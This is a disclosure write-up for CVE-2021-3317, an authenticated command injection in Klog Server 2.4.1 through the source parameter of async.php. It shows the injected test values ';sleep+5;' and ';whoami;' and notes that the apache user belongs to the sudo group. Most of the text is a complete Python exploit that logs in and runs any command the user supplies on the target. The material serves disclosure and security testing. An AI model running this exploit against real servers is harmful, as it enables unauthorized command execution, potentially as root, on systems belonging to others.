KLOG Server (Authenticated) Command Injection (CVE-2021-3317)

Klog Server 2.4.1 - Command Injection (Authenticated)

Detection

I have detected a authenticated command injection vulnerability in the Klog Server <=2.4.1 . async.php file includes that source parameter is executed via shell_exec() function without input validation.

As you can see above image, if action parameter is set as stream , command injection could be possible due to source parameter is executed by shell_exec() function through command variable.

To validate this vulnerability , sleep command is used. For ;sleep+5; command , the server stays 5 seconds or so.

When ;whoami; command is executed , the output indicates privileges as apache user . However , apache user is a member of sudo group so that we can execute commad with root privileges.

Exploitation

import argparse
import requests
import sys
import urllib3
from argparse import ArgumentParser, Namespace
def main():
dsc = "Klog Server 2.4.1 - Command Injection (Authenticated)"
parser: ArgumentParser = argparse.ArgumentParser(description=dsc)
parser.add_argument("--target", help="IPv4 address of Cockpit server", type=str, required=True)
parser.add_argument("--username", help="Username", type=str, required=True)
parser.add_argument("--password", help="Password", type=str, required=True)
parser.add_argument("--command", help="Command", type=str, required=True)
args: Namespace = parser.parse_args()
if args.target:
target = args.target
if args.username:
username = args.username
if args.password:
password = args.password
if args.command:
command = args.command
exploit(target, username, password, command)
def exploit(target, username, password, command):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
}
data = {"user" : username, "pswd" : password}
login = s.post("https://" + target + "/actions/authenticate.php" , data=data, headers=headers, allow_redirects=False, verify=False)
print("[*] Status Code for login request: " + str(login.status_code))
if login.status_code == 302:
check = s.get("https://" + target + "/index.php", allow_redirects=False, verify=False)
if check.status_code == 200:
print("[+] Authentication was successful!")
else:
print("[-] Authentication was unsuccessful!")
sys.exit(1)
else:
print("Something went wrong!")
sys.exit(1)
print("[*] Exploiting...\n")
executeCommand = s.get("https://" + target + "/actions/async.php?action=stream&source=;"+ command +";", allow_redirects=False, verify=False)
print(executeCommand.text)
sys.exit(0)
if __name__ == '__main__':
main()